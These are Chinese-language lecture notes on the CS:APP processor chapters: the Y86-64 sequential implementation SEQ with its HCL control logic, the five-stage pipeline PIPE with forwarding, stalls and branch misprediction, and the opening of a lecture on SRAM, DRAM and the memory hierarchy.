本讲对应教材 §4.3 Y86-64 的顺序实现：§4.3.1 将指令组织成阶段，§4.3.2 硬件结构，§4.3.3 时序，§4.3.4 各阶段的控制逻辑。第 9 讲规定一条指令应该做什么，本讲把这些动作分配到共用的硬件上。

六个逻辑阶段，一个时钟周期

SEQ（Sequential）在一个周期内完成一条指令。

阶段	要解决的问题	典型输出
取指 Fetch	PC 指向哪些字节？指令多长？	icode/ifun、rA/rB、valC、valP。
译码 Decode	需要读取哪些程序寄存器？	srcA/srcB，读出的 valA/valB。
执行 Execute	做运算、算地址或算新栈指针；条件是否成立？	valE、Cnd，必要时更新 CC。
访存 Memory	是否读写数据内存？地址与写入值是什么？	读出的 valM，或待写入的内存数据。
写回 Write back	哪些结果写入哪些程序寄存器？	dstE 对应 valE；dstM 对应 valM。
更新 PC	下一条从哪里取指？	new_pc。

不是每条指令都有全部类型的动作：addq 不读写数据内存；rmmovq 写数据内存但不写回程序寄存器；jXX 判断条件并更新 PC，但不修改数据寄存器。

ID、数值与内存内容

信号	含义	备注
rA/rB	指令中编码的寄存器编号
srcA/srcB	寄存器文件两个读端口实际要读的编号	不一定等于 rA/rB，栈指令常改选 %rsp。
valA/valB	从寄存器文件读出的数据
valC	指令中编码的常数	操作数数值，位移或目标地址。
valP	当前 PC 加指令长度	顺序下一地址的候选值。
valE	ALU 计算结果	程序算术结果，地址或新栈指针。
valM	从数据内存读出的 $8$ 字节	地址读出的数据。
dstE/dstM	两个写端口的目的寄存器编号
Cnd	根据旧 CC 与 ifun 判断的条件结果

例如 srcA=3 表示选 %rbx；若 %rbx 中存 $10$，则 valA=10。在 mrmovq 8(%rbx),%rax 中，若 %rbx 为 0x1000，则 valB=0x1000、valC=8、valE=0x1008；只有从地址 0x1008 读到的数据才叫 valM。

取指

取指电路以 PC 为起点读取指令字节，拆出 icode/ifun。控制逻辑决定是否还要解析寄存器字节，以及是否要读 $8$ 字节常数：

bool need_regids = icode in {
    IRRMOVQ, IIRMOVQ, IRMMOVQ, IMRMOVQ,
    IOPQ, IPUSHQ, IPOPQ
};
bool need_valC = icode in {
    IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL
};

HCL 中 IRRMOVQ 等大写名字表示指令类别常数；IRRMOVQ 也包括同类的条件传送。RRSP 表示 %rsp 的寄存器 ID，RNONE 表示 0xF。

把这两个布尔值按 $0/1$ 计，顺序下一地址为：

$$\mathrm{valP}=\mathrm{PC}+1+\mathrm{need\_regids}+8\,\mathrm{need\_valC}$$

寄存器字节	常数字段	指令长度	例子
无	无	$1$	halt/nop/ret。
有	无	$2$	rrmovq/cmovXX/OPq/pushq/popq。
无	有	$9$	jXX/call。
有	有	$10$	irmovq/rmmovq/mrmovq。

有寄存器字节时，valC 从 $\mathrm{PC}+2$ 开始；无寄存器字节的跳转、调用从 $\mathrm{PC}+1$ 开始。硬件可以读出供最长指令使用的一组字节，再挑选有效字段，不代表所有指令的长度都变成 $10$。

译码与写回

同一套寄存器文件服务全部指令，通过选择器改变读写的 ID。下表中的横线表示 RNONE，即该端口不需要访问程序寄存器：

指令	srcA	srcB	dstE，写 valE	dstM，写 valM
rrmovq/cmovXX	rA	-	条件成立为 rB，否则为 RNONE	-
irmovq	-	-	rB	-
rmmovq	rA	rB	-	-
mrmovq	-	rB	-	rA
OPq	rA	rB	rB	-
pushq	rA	%rsp	%rsp	-
popq	%rsp	%rsp	%rsp	rA
call	-	%rsp	%rsp	-
ret	%rsp	%rsp	%rsp	-
jXX/halt/nop	-	-	-	-

寄存器读端口 A 不一定读指令字段 rA。 popq 的 rA 是接收弹出值的目的寄存器，译码时真正要读取的是 %rsp，所以两个读端口都选择 %rsp。

执行

ALU 有输入 aluA/aluB，输出 valE。减法执行的顺序是 $\mathrm{aluB}-\mathrm{aluA}$，不是反过来。除了 OPq 根据 ifun 选择操作外，其他使用 ALU 的基本指令都执行加法：

指令	aluA	aluB	valE 的含义
rrmovq/cmovXX	valA	$0$	把源值原样传给写回端口。
irmovq	valC	$0$	立即数原值。
rmmovq/mrmovq	valC	valB	基址加位移，得到有效地址。
OPq	valA	valB	$\mathrm{valB}\mathbin{\mathrm{OP}}\mathrm{valA}$。
pushq/call	$-8$	valB	新栈指针。
popq/ret	$8$	valB	弹出后的栈指针候选值。

int alufun = [
    icode == IOPQ : ifun;
    1             : ALUADD;
];
bool set_cc = icode == IOPQ;

ALU 可以生成一组候选标志，但只有 set_cc 为真才把它们写入 CC 寄存器。否则 rmmovq 的地址加法会无意间毁掉上一条比较的结果，后续条件跳转就会判断错误。

例一：subq 怎样完成一次减法

设 PC 为 0x100，%rax=3、%rbx=10，执行 subq %rax,%rbx，编码为 61 03：

阶段	此例得到的内容
取指	icode=6、ifun=1、rA=0、rB=3，$\mathrm{valP}=\mathtt{0x102}$。
译码	$\mathrm{valA}=3$，$\mathrm{valB}=10$。
执行	$\mathrm{valE}=10-3=7$，ZF=0,SF=0,OF=0。
访存	不访问数据内存。
写回	$R[\mathtt{rbx}]\leftarrow7$。
更新 PC	$\mathrm{PC}\leftarrow\mathtt{0x102}$。

两个读端口取得旧的寄存器值，组合逻辑算出 $7$；到本次完成的时钟沿，才把结果写入 %rbx。算出了 valE 与已经修改程序寄存器是两件事。

例二：rmmovq 与 mrmovq 的地址相同，数据方向相反

设 %rbx=0x1000、%rax=0x55，执行 rmmovq %rax,8(%rbx)：

$$\mathrm{valA}=\mathtt{0x55},\quad \mathrm{valB}=\mathtt{0x1000},\quad \mathrm{valC}=8,\quad \mathrm{valE}=\mathtt{0x1008}$$

访存写入 $M_8[\mathtt{0x1008}]\leftarrow\mathtt{0x55}$，不写回程序寄存器，PC 增加 $10$。这里 valE 是写入地址，真正写入的数据是 valA。

相反，mrmovq 8(%rbx),%rax 也算出 valE=0x1008，但访存执行 $\mathrm{valM}\leftarrow M_8[\mathtt{0x1008}]$，再通过 M 写端口把 valM 写入 %rax。加载写回的是 valM，不是地址 valE。

例三：popq 为什么必须保留旧栈指针

设执行 popq %rax 前，%rsp=0x200，$M_8[\mathtt{0x200}]=\mathtt{0x55}$。这条指令编码为 B0 0F，长 $2$ 字节：

阶段	计算或动作
取指	rA 取 %rax，$\mathrm{valP}=\mathrm{PC}+2$。
译码	$\mathrm{valA}=\mathrm{valB}=R_{\mathrm{old}}[\mathtt{rsp}]=\mathtt{0x200}$。
执行	$\mathrm{valE}=\mathrm{valB}+8=\mathtt{0x208}$。
访存	$\mathrm{valM}=M_8[\mathrm{valA}]=M_8[\mathtt{0x200}]=\mathtt{0x55}$。
写回	E 端口把 0x208 写 %rsp；M 端口把 0x55 写 %rax。
更新 PC	取 valP。

访存读旧栈顶 valA，不是已经算出的新栈顶 valE。 两个读端口取相同的 %rsp，是为了分别保留“读取地址”和“加八的输入”；并不表示执行了两次 pop。

popq 同时可能写两个寄存器，因此 SEQ 提供 E、M 两个写端口。对于 popq %rsp，两端口都要写 %rsp；M 端口优先，弹出的数据覆盖新栈指针候选值。上例若改成 popq %rsp，最终 %rsp=0x55，而不是 0x208。

例四：call 压入 valP，ret 把 valM 交给 PC

设 PC 为 0x100，%rsp=0x200，执行 call 0x300。Y86-64 的 call 长 $9$ 字节：

$$\mathrm{valC}=\mathtt{0x300},\quad \mathrm{valP}=\mathtt{0x109},\quad \mathrm{valE}=\mathtt{0x200}-8=\mathtt{0x1F8}$$

动作	call 的结果
访存	$M_8[\mathtt{0x1F8}]\leftarrow\mathtt{0x109}$，保存调用后的继续位置。
写回	$R[\mathtt{rsp}]\leftarrow\mathtt{0x1F8}$。
更新 PC	$\mathrm{PC}\leftarrow\mathtt{0x300}$，开始被调用过程。

压栈的不是 call 自身地址 0x100，也不是目标地址 0x300，而是返回点 valP。 它在内存中的小端字节为 09 01 00 00 00 00 00 00。

被调用过程若已恢复自己的栈帧，执行 ret 时 %rsp 又指向 0x1F8。ret 用旧 %rsp 读取返回地址，ALU 同时计算栈指针加八：

$$\mathrm{valA}=\mathrm{valB}=\mathtt{0x1F8},\quad \mathrm{valE}=\mathtt{0x200},\quad \mathrm{valM}=M_8[\mathtt{0x1F8}]=\mathtt{0x109}$$

最后 %rsp 恢复为 0x200，PC 取 valM，即 0x109。ret 虽然只长 $1$ 字节，也不按当前 PC 加一继续执行。pushq 类似 call 的压栈动作，但写入的是源寄存器的旧值 valA；popq 类似 ret 的取栈数据动作，但数据去往目的寄存器，而不是 PC。

条件传送：条件不满足就禁止写回

cmovXX 仍可先把源值经 ALU 传出，得到 valE=valA；条件只决定这个候选值是否写入目的寄存器：

int dstE = [
    icode == IRRMOVQ && Cnd          : rB;
    icode in { IIRMOVQ, IOPQ }       : rB;
    icode in { IPUSHQ, IPOPQ,
               ICALL, IRET }        : RRSP;
    1                               : RNONE;
];

条件不满足的 cmovXX 选择 RNONE，即关闭这个寄存器写回，而不是把源值改成零。rA/rB 是从指令中解码出的编号；dstE 是控制逻辑最终选择的写回编号。 硬件可以取消写回，不必改写内存中的指令字节。

访存控制：选地址、选数据、决定是否写

指令	内存地址	写入数据 / 读出结果
rmmovq	valE，基址加位移	写 valA。
mrmovq	valE，基址加位移	读到 valM。
pushq	valE，新栈顶	写 valA。
call	valE，新栈顶	写 valP。
popq/ret	valA，旧栈顶	读到 valM。

bool mem_read  = icode in { IMRMOVQ, IPOPQ, IRET };
bool mem_write = icode in { IRMMOVQ, IPUSHQ, ICALL };

int mem_addr = [
    icode in { IRMMOVQ, IMRMOVQ, IPUSHQ, ICALL } : valE;
    icode in { IPOPQ, IRET }                     : valA;
];
int mem_data = [
    icode in { IRMMOVQ, IPUSHQ } : valA;
    icode == ICALL              : valP;
];

这里 mem_addr、mem_data 只列出了实际使用这些输入的指令。给内存地址线接了一个值，不代表一定发生读写，还要看 mem_read/mem_write。

新 PC 从三个候选值中选择

int new_pc = [
    icode == ICALL        : valC;
    icode == IJXX && Cnd  : valC;
    icode == IRET         : valM;
    1                    : valP;
];

候选值	何时成为下一条 PC
valC，指令编码的目标	call；或条件成立的 jXX。
valM，从旧栈顶读出的值	ret。
valP，当前 PC 加指令长度	其他正常指令；包括条件不成立的跳转和条件传送。

例如 PC=0x100 的 je 0x300：取指同时得到 valP=0x109 和 valC=0x300。ZF=1 时选 0x300，ZF=0 时选 0x109。取指算出 valP，只是准备顺序执行的候选值，不等于此时已经更新 PC。

SEQ 的时序：旧状态产生新状态

SEQ 保存 PC、CC、寄存器文件与数据内存等状态。一个周期开始后，旧状态经过取指、寄存器读、ALU、内存读和控制逻辑，得到新的写入数据与地址；在周期结束的上升沿，按使能信号更新对应状态，开始处理下一条指令。

$$S_{t+1}=F(S_t)$$

这里的 F 包含本周期组合逻辑与相应状态更新；不代表周期内的所有部件同时立刻算完。组合信号要按数据依赖逐步传播。例如加载指令必须先算出地址，才可能从该地址得到数据。

教材强调的 “从不回读” 是：为了完成一条指令，不必先把该指令的新状态写入存储部件，再从存储部件读回来继续算。例如 push 用 ALU 输出的新栈指针 valE 直接作为访存地址，不必先改 %rsp 再读 %rsp；因此寄存器写、内存写等可以在周期边界一起完成。

课件用下面的连续指令演示跨周期依赖：

0x000: irmovq $0x100, %rbx
0x00a: irmovq $0x200, %rdx
0x014: addq %rdx, %rbx
0x016: je dest
0x01f: rmmovq %rbx, 0(%rdx)

第三条将 %rbx 更新为 0x300，并使 ZF=0。这组新状态在下一周期可见，第四条 je 因而不跳转，PC 选择 0x01F。不是在同一条 addq 尚未完成时，紧接着执行 je。

时钟为什么不能随意加快

SEQ 的周期必须足够长，让最慢指令所需的组合路径传播完毕。加载指令的典型路径包括指令内存、寄存器文件读取、ALU 地址计算、数据内存读取，再到写回输入；此外还需满足存储部件的时序要求。

$$T_{\mathrm{clk}}\ge t_{\mathrm{clk\to Q}}+t_{\mathrm{comb,max}}+t_{\mathrm{setup}}, \qquad f_{\mathrm{clk}}=\frac{1}{T_{\mathrm{clk}}}$$

其中 $t_{\mathrm{comb,max}}$ 是最长有效组合路径的延迟，$t_{\mathrm{setup}}$ 是时钟沿前数据需要稳定的时间。简单指令也必须等待统一周期结束，许多部件只在周期的一部分时间有用。因此 SEQ 每周期完成一条指令，不代表处理器很快：时间还取决于周期本身有多长。

对正常执行的 N 条指令，忽略其他开销：

$$T_{\mathrm{program}}\approx N\times\mathrm{CPI}\times T_{\mathrm{clk}}, \qquad\mathrm{CPI}_{\mathrm{SEQ}}=1$$

后续流水线会在阶段之间加入存储，让不同指令同时占用不同硬件阶段，以缩短周期并提高吞吐率；这与本讲“一条指令在一个长周期里走完”是不同的实现。

读 SEQ 图与做题的顺序

遇到一条具体指令，先确定它的效果，再依次追踪指令字段 → 要读的寄存器 → ALU 两个输入 → 访存地址与数据 → 两个写回目的 → 新 PC。图上的信号名是导线承载的值，不是多出一组程序变量。

常见混淆	应采用的判断
valE 一定写回 rB	看 dstE。store 的 valE 是地址，load 的寄存器结果来自 valM。
ALU 做加法就改 CC	看 set_cc。只有基本 OPq 改 CC。
pop 从新 %rsp 读	从旧栈顶 valA 读，新指针候选值是 valE。
call 把目标地址压栈	压 valP；目标 valC 交给 PC。
ret 把 PC 加一	PC 取 valM；栈指针才加八。
cmov 条件失败就写零	dstE 选 RNONE，目的寄存器保持原值。
六阶段就是六周期	SEQ 中六个逻辑阶段在同一周期内完成。

第 11 讲：Y86-64 的流水线实现 PIPE

本讲对应教材 §4.4 流水线的通用原理与 §4.5 Y86-64 的流水线实现。SEQ 让一条指令在一个长周期内完成；PIPE 在阶段之间加入流水线寄存器，让多条指令同时处于不同阶段。学习主线是提高吞吐率 → 保存各指令的中间状态 → 处理数据与控制冒险 → 保持顺序执行的结果。

吞吐率、延迟与时钟周期

延迟（latency）是一项任务从开始到结束的时间；吞吐率（throughput）是单位时间完成的任务数。流水线主要改善吞吐率，单条任务的延迟不一定下降。课件把 $300$ ps 的组合逻辑分成三段，每段 $100$ ps，每级寄存器开销为 $20$ ps：

结构	周期	单项任务延迟	稳态吞吐率
不分级，组合逻辑 $300$ ps	$320$ ps	$320$ ps	约 $3.12$ GIPS
三级，每段 $100$ ps	$120$ ps	$360$ ps	约 $8.33$ GIPS
三级，分别 $50/150/100$ ps	$170$ ps	$510$ ps	约 $5.88$ GIPS
六级，每段 $50$ ps	$70$ ps	$420$ ps	约 $14.29$ GIPS

三级结构中，第一项任务进入 B 后，第二项就能进入 A；不必等待第一项完成 C。于是每隔 $120$ ps 可开始一项新任务，但每项仍要走三个周期。

设有 k 级，各级组合延迟为 $t_i$，每级寄存器开销为 r。课件的简化计算为：

$$T_{\mathrm{clk}}=\max_i(t_i)+r,\qquad L=kT_{\mathrm{clk}},\qquad \mathrm{Throughput}_{\mathrm{steady}}=\frac{1}{T_{\mathrm{clk}}}$$

不考虑冒险时，N 项任务完成时间为：

$$T_N=(N+k-1)T_{\mathrm{clk}}$$

周期取决于最慢的一级，不能拿所有阶段延迟的平均值。 分级不均会让短阶段空等；级数增加又会增加寄存器开销。例如六级结构的寄存器开销占 $20/(50+20)\approx28.57\%$，因此不能靠无限增加级数获得无限加速。

从 SEQ 到 SEQ+，再到五级 PIPE

SEQ 把 PC 更新放在指令处理的末尾；SEQ+ 根据上一条指令留下的结果，在取指前选择本条指令的 PC。SEQ+ 仍然是顺序实现，重排 PC 选择并没有让多条指令同时执行。

PIPE 在取指、译码、执行、访存、写回之间保存中间状态，形成五级：

阶段	本周期的主要工作
F，Fetch	选择当前取指地址，读指令，算 valP 和预测下一地址。
D，Decode	读取寄存器，结合转发选择 valA、valB。
E，Execute	ALU 运算，产生条件判断与必要的 CC 更新。
M，Memory	读写数据内存。
W，Write back	将结果写入程序寄存器。

对三条无相关指令，理想周期表如下。每行是一条指令，每列是一个周期；同一列表示硬件同时处理不同指令。

指令	1	2	3	4	5	6	7
I1	F	D	E	M	W	-	-
I2	-	F	D	E	M	W	-
I3	-	-	F	D	E	M	W

I1 需要五个周期才能完成，但填满后可以每周期完成一条。这是多条指令在不同阶段重叠，不是同一 ALU 在同一时刻执行多条指令。 PC 的选择并入 F 的控制，不再作为第六个独立流水级。

流水线寄存器与信号命名

流水线寄存器保存的是各条指令尚未使用完的字段与结果，和 %rax/%rsp 等程序寄存器不同。例如一条 load 算出地址时，另一条指令正在译码，两者的中间值必须分别保留。

流水线寄存器	保存的典型信息
F	预测取指地址 predPC。
D	指令类别、功能、rA/rB、valC、valP、状态。
E	运算所需的 valA/valB/valC、源与目的 ID、指令信息。
M	ALU 结果、待存数据、分支结果 Cnd、目的 ID。
W	待写回的 valE、valM、目的 ID 与状态。

大写阶段前缀表示已存入流水线寄存器的字段，小写阶段前缀表示本周期在该阶段算出的信号。

信号	含义
E_valA	当前 E 级指令在进入 E 时已经保存的操作数。
e_valE	当前 E 级 ALU 在本周期算出的结果。
M_valE	先前算出的 ALU 结果，现在保存在 M 级寄存器中。
m_valM	当前 M 级在本周期读出的内存数据。
W_valM	内存读出值已传入 W 级，可用于写回或 ret 的 PC 选择。
d_srcA/d_srcB	D 级本周期确定的源寄存器编号。

一个字段即使在某级不使用，也可能需要继续携带。例如 valC 在 F 取得，经过 D/E 的流水线寄存器后才用于后续处理。每个上升沿，各级按 normal、stall、bubble 控制保存自己的下一状态。

数据相关与 RAW 冒险

若后一条指令需要前一条尚未写回的结果，就存在写后读（Read After Write，RAW）相关。相关是程序本身的关系；当硬件取数时机不合适而可能读到旧值时，才需要处理冒险。

课件使用：

irmovq $10, %rdx
irmovq $3, %rax
addq %rdx, %rax

顺序执行结果应为 $13$。无暂停、无转发时，第 $4$ 周期 addq 已在 D 读取寄存器，而前两条分别在 M、E，尚未完成 W 写回；它可能读到初始零值。

课件第 $24$～$27$ 页逐步插入 nop，是在说明没有转发时要等到何时。在该示例的时序模型中，寄存器到 W 阶段结束才写好，D 需要取得相应旧状态中的值，因此两条初始化与 addq 之间要隔三个 nop 才能直接读对。这不是加入转发后的 PIPE 还必须手工插三个 nop。

Stall 与 bubble 的区别

模式	控制	下一个上升沿的效果
Normal	stall=0,bubble=0	接收本周期算好的新输入。
Stall	stall=1,bubble=0	保持原来的流水线寄存器内容，不接收新输入。
Bubble	stall=0,bubble=1	用不产生程序副作用的空操作状态替换输入。

stall 是把一条指令留在原地；bubble 是在某一级放入一个空位置。 bubble 会继续向后流动，但不写程序寄存器、数据内存或 CC，不等同于停止整个 CPU，也不需要修改程序中的机器码。

纯暂停方案检测 D 级源 ID 是否与 E/M/W 中尚未完成的目的 ID 冲突；RNONE 不构成真实寄存器相关。发生冲突时冻结 F、D，并给 E 注入 bubble，让产生结果的老指令继续前进；若把整条流水线一起冻结，结果也无法继续产生。

数据转发：结果未写回，也可以先使用

运算结果往往在 E 阶段就已算出，加载数据在 M 阶段读出；不必等到 W 写进寄存器文件，再由后续指令读出来。转发（forwarding，也称旁路 bypass）把已经产生的值直接送到 D 的操作数选择器。

对上面的三条指令，第 $4$ 周期情况为：

指令	所在阶段	可提供的值
irmovq $10,%rdx	M	M_valE=10，目的为 %rdx。
irmovq $3,%rax	E	本周期 e_valE=3，目的为 %rax。
addq %rdx,%rax	D	从 M 取得 valA=$10$，从 E 取得 valB=$3$。

同一周期中，E 的组合结果送到 D；到上升沿，addq 的正确操作数存入 E 级寄存器，下一周期算出 $13$。转发改变的是操作数来源，不是提前改写程序寄存器。

可选来源有 E 级 ALU 结果、M 级 ALU 结果或内存结果、W 级两个待写回结果，以及寄存器文件读出的值。

转发优先级：选择最近的一次有效写入

irmovq $1, %rax
irmovq $2, %rax
irmovq $3, %rax
rrmovq %rax, %rdx

rrmovq 在 D 时，前三条可能同时处于 W、M、E，且都声明要写 %rax。必须选择程序顺序中最近的前驱，也就是 E 中产生的 $3$，不能随便选一个匹配值。

对同一源 ID，普通数据转发的优先级为：

$$\mathrm{E\!:\!valE} \;>\;\mathrm{M\!:\!valM} \;>\;\mathrm{M\!:\!valE} \;>\;\mathrm{W\!:\!valM} \;>\;\mathrm{W\!:\!valE} \;>\;\mathrm{RegisterFile}$$

E 比 M/W 中的生产者更新；同一条指令的 valM 比 valE 优先，符合 popq %rsp 以内存读出值作为最终 %rsp 的语义。E 级比较还应使用已经考虑条件传送是否成立的 e_dstE；条件失败的 cmov 不能作为一次有效写入转发。

课件的 A 操作数选择逻辑如下。call 和 jXX 首先选择自己的顺序下一地址 D_valP：call 用它作返回地址，跳转用它保留预测失败时的顺序路径。

int d_valA = [
    D_icode in { ICALL, IJXX } : D_valP;
    d_srcA == e_dstE           : e_valE;
    d_srcA == M_dstM           : m_valM;
    d_srcA == M_dstE           : M_valE;
    d_srcA == W_dstM           : W_valM;
    d_srcA == W_dstE           : W_valE;
    1                         : d_rvalA;
];

B 操作数也按相应优先级选择转发数据，但不需要 call/jXX 的 D_valP 特例。这里的 case 顺序必须与最新有效写入优先的规则一致。

加载／使用冒险：转发不能取得尚未产生的数据

mrmovq 0(%rdi), %rdx
addq %rdx, %rax

当 load 在 E、addq 在 D 时，load 的 ALU 才算出访问地址，真正的数据要到下一周期的 M 才读出。当前 e_valE 是地址，不是待加载的数据，不能把它当成 %rdx 的结果转发。

标准 PIPE 让使用者在 D 多等一个周期，等 load 到 M 产生 m_valM 后再转发：

指令／空操作	1	2	3	4	5	6	7
load	F	D	E	M	W	-	-
addq	-	F	D	D	E	M	W
bubble	-	-	-	E	M	W	-

第 $3$ 周期检测冲突，控制在下一个上升沿生效：addq 仍留在 D，第 $4$ 周期 E 出现 bubble，load 正常进入 M。到该周期结束，D 可以选到 m_valM，随后 addq 进入 E。

bool load_use =
    E_icode in { IMRMOVQ, IPOPQ } &&
    E_dstM in { d_srcA, d_srcB };

检测的是 E 级加载的目的寄存器与 D 级指令真正使用的源寄存器相同，不是只比较指令文本中的 rA/rB。popq 也是从内存产生寄存器结果，所以同样需要考虑。

这种情况冻结 F、D，向 E 注入 bubble，M、W 正常运行，通常损失一个周期。编译器或程序员可把没有依赖的有用指令安排在 load 与使用之间，例如假设 %r8=8：

mrmovq 0(%rdi), %r10
addq %r8, %rdi
rmmovq %r10, 0(%rsi)

中间的指针更新不使用 %r10，可填补等待时间。移动指令时仍需保持程序的数据、内存与条件码语义。

控制冒险：下一条指令地址还没有确定

流水线不能等一条指令到最后才开始取下一条，因此在 F 就需要猜测下一地址。课件基本 PIPE 的策略为：

指令	预测地址	原因
普通指令	f_valP	顺序继续。
call、无条件跳转	f_valC	目标直接编码在指令中。
条件跳转	f_valC	统一预测跳转成立，实际不跳时恢复。
ret	暂停等待返回地址	目标需要从栈中读取。

int f_predPC = [
    f_icode in { IJXX, ICALL } : f_valC;
    1                         : f_valP;
];

预测只决定先取哪条指令，不改变 ISA 规定的执行结果。 条件跳转到 E 时，根据 CC 与 ifun 得到真实 e_Cnd；错误路径上的指令必须在产生程序副作用前取消。

分支预测失败：取消两条错误路径指令

设条件跳转预测为 taken，但实际 e_Cnd 为 $0$。它在 E 时，目标路径的第一条指令已在 D，第二条已在 F。下一个周期让 D、E 都装入 bubble，分别取消这两条年轻指令；分支本身继续进入 M，以其保存的顺序地址恢复取指。

指令／事件	周期 1	周期 2	周期 3	周期 4	周期 5
条件跳转	F	D	E，发现不应跳转	M	W
错误目标指令 I1	-	F	D	被取消	-
错误目标指令 I2	-	-	F	被取消	-
正确顺序指令	-	-	-	F	D

bool mispred = E_icode == IJXX && !e_Cnd;

发现错误在 E，下一周期取指恢复时，分支信息已经保存在 M。 恢复地址是 M_valA，即分支原来的 valP，不是内存读出值 valM。课件示例中 jne 位于 0x002，长九字节，因此顺序地址应为 0x00B。

标准 PIPE 的这类预测失败浪费两个取指位置，通常计两个周期的处罚。F 不需要暂停，恢复地址由 PC 选择逻辑优先提供；D、E 的 bubble 阻止错误路径继续前进。

ret：等待栈中的返回地址

ret 的目标不是指令内立即数，而是旧栈顶的八字节值。它在 M 读出返回地址，进入 W 后以 W_valM 恢复取指。基本 PIPE 不预测 ret，而是在其位于 D、E、M 时暂停 F，并向 D 注入 bubble。

ret 所在阶段	F 的行为	D 的下一状态	ret 自身
D	暂停	bubble	正常前进到 E。
E	暂停	bubble	正常前进到 M。
M	暂停	bubble	读取返回地址，前进到 W。
W	可按 W_valM 取指	正常接收	写回栈指针。

bool ret_in_pipe = IRET in { D_icode, E_icode, M_icode };

这里暂停的是后续取指，不是 ret 自己；否则 ret 无法到 M 取回地址。相对于可立即知道下一地址的指令，基本实现的 ret 通常增加三个等待周期。

F 的实际地址选择需要优先处理恢复路径，再使用预测地址：

int f_pc = [
    M_icode == IJXX && !M_Cnd : M_valA;
    W_icode == IRET          : W_valM;
    1                       : F_predPC;
];

三种情况的控制与同时发生时的优先级

以下是单独发生时，在下一个上升沿作用于各流水线寄存器的控制：

情况	F	D	E	M	W
加载／使用冒险	stall	stall	bubble	normal	normal
分支预测失败	normal	bubble	bubble	normal	normal
ret 位于 D/E/M	stall	bubble	normal	normal	normal

不能简单把这些行逐项叠加。课件重点分析两种组合。

分支预测失败，错误目标处恰好是 ret。 此时 E 是不应跳转的分支，D 的 ret 属于错误路径，应被取消。D、E 注入 bubble；即使 ret 条件使 F_predPC 保持，下一周期 f_pc 也会优先选择分支 M_valA，仍能回到正确顺序路径。

load 改写 %rsp，紧接着 ret。 例如：

mrmovq 0(%rbx), %rsp
ret

当 load 在 E、ret 在 D 时，ret 需要的新 %rsp 尚未从内存取得。这同时触发 load/use 与 ret：前者要求 D stall，后者通常要求 D bubble。必须让 load/use 优先，保留 D 中的 ret 多等一周期，不能把它当成无用指令清掉。

令前面定义的 load_use、mispred、ret_in_pipe 分别表示三个条件，正确的核心控制为：

bool F_stall = load_use || ret_in_pipe;
bool D_stall = load_use;
bool D_bubble = mispred || (ret_in_pipe && !load_use);
bool E_bubble = mispred || load_use;

同一个流水线寄存器不能同时收到 stall 与 bubble。修正 D_bubble 之后，load/use 与 ret 同时发生时，F、D 暂停，E 注入 bubble；load 进入 M 产生新栈指针，再转发给 D 中的 ret。

性能计算与读周期表的方法

基本五级 PIPE 在无冒险时，N 条指令约需 $N+4$ 个周期，四个额外周期来自填充和排空。若另外产生 B 个有效额外周期：

$$T\approx(N+4+B)T_{\mathrm{clk}},\qquad \mathrm{CPI}\approx1+\frac{4+B}{N}$$

对课件这套基本实现，普通可转发的数据相关通常不增加周期；紧邻的 load/use 通常加一周期；预测失败加两周期；ret 通常加三周期。组合事件按实际控制和周期表计数，不能把所有单独处罚机械相加。

读题时先标出每周期各指令所在的 F/D/E/M/W，再确定生产者何时得到所需数据、消费者何时必须得到它。ALU 结果看 E，加载数据看 M，寄存器最终写回看 W；有转发时不必等寄存器写回。遇到控制冒险，则追踪预测 PC、真实目标和哪些年轻指令会被取消。

容易混淆的问题	应区分的内容
流水线是否让单条指令延迟更短	主要提高吞吐率；延迟还取决于级数与周期。
把 E 级 load 的 valE 转发给使用者	valE 是地址，真正数据要到 M 的 m_valM。
将 stall 和 bubble 当作同一个动作	stall 保留当前状态，bubble 放入空操作状态。
多个前驱都写同一寄存器时任选一个	选程序顺序中最近的一次有效写入。
ret 出现时冻结整条流水线	只阻止后续错误取指，让 ret 继续到 M/W。
控制条件一产生，阶段内容立刻变化	控制在时钟沿更新流水线寄存器。

第 12 讲：存储器层次结构与局部性

本讲对应教材 §6.1 存储技术、§6.2 局部性与 §6.3 存储器层次结构。主线是：不同存储技术在速度、容量和每字节成本之间有取舍，程序又倾向于重复访问最近或相邻的数据，因此可以用小而快的上层保存大而慢的下层的一部分内容。

内存抽象与总线读写

程序把内存看成按字节编址的数组，读写对象用地址定位。实际传输还需要地址、数据和控制信号；总线是一组用于传递这些信号的线路。课件用传统 CPU、I/O 桥与主存连接图说明一次内存事务：

操作	地址与数据的流向
Load，例如 movq A,%rax	CPU 发出地址 A 和读请求；内存取出该地址的数据 x，通过数据线路返回；CPU 将 x 放入 %rax。
Store，例如 movq %rax,A	CPU 提供地址 A、待写数据 y 和写控制；内存把 y 写入地址 A。

地址说明在哪里读写，数据说明读到或写入什么。 一条 load 不一定真的访问 DRAM：如果请求的数据已在上层缓存中，可以由缓存提供。前面 SEQ/PIPE 把内存读抽象成组合路径，本讲进一步说明实际存储部件和传输的成本。

SRAM、DRAM 与易失性

RAM 是随机访问存储器，可按地址选择存储位置；“随机访问”不表示随机返回数据，也不表示所有访问的物理耗时完全相同。

特征	SRAM，静态 RAM	DRAM，动态 RAM
典型存储单元	用多个晶体管构成双稳态电路，常见为六晶体管单元。	一个晶体管与一个电容保存一位。
保持数据	通电时可持续保持状态，不需要周期性刷新。	电容电荷会逐渐泄漏，需要周期性刷新。
速度	较快。	较慢。
密度与每字节成本	密度较低、成本较高。	密度较高、成本较低。
典型用途	CPU 的高速缓存。	主存。

SRAM 的“静态”是指无需刷新，不是断电后仍能保存。SRAM 和 DRAM 都是易失性存储。 缓存采用 SRAM、主存采用 DRAM，体现了速度与容量成本之间的取舍。

SDRAM 在同步接口下传输；DDR SDRAM 利用时钟的两个边沿传输数据，提高接口带宽。接口数据率与单次访问延迟是不同指标，不能认为数据率加倍就必然让随机访问延迟减半。

DRAM 芯片的行、列与行缓冲

一个 $d\times w$ DRAM 芯片有 d 个 supercell，每个 supercell 保存 w 位，总容量为：

$$C=dw\text{ bit}=\frac{dw}{8}\text{ byte}$$

课件的 $16\times8$ 芯片由 $4$ 行、$4$ 列 supercell 组成，每格八位，容量为 $128$ bit，即 $16$ byte。读取第 $(2,1)$ 格的基本过程为：

步骤	动作
选择行	通过 RAS 发送行号 $2$。
进入行缓冲	将第 $2$ 行的内容放入内部 row buffer。
选择列	通过 CAS 发送列号 $1$。
输出数据	从行缓冲选择该列的八位，送到数据引脚。

